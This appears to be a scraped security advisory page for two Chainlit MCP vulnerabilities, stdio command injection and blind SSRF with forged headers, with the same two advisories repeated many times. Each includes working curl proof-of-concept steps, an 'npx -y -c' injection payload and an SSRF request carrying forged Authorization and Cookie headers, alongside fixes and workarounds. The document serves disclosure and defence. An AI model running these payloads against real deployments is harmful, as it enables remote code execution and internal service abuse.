Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

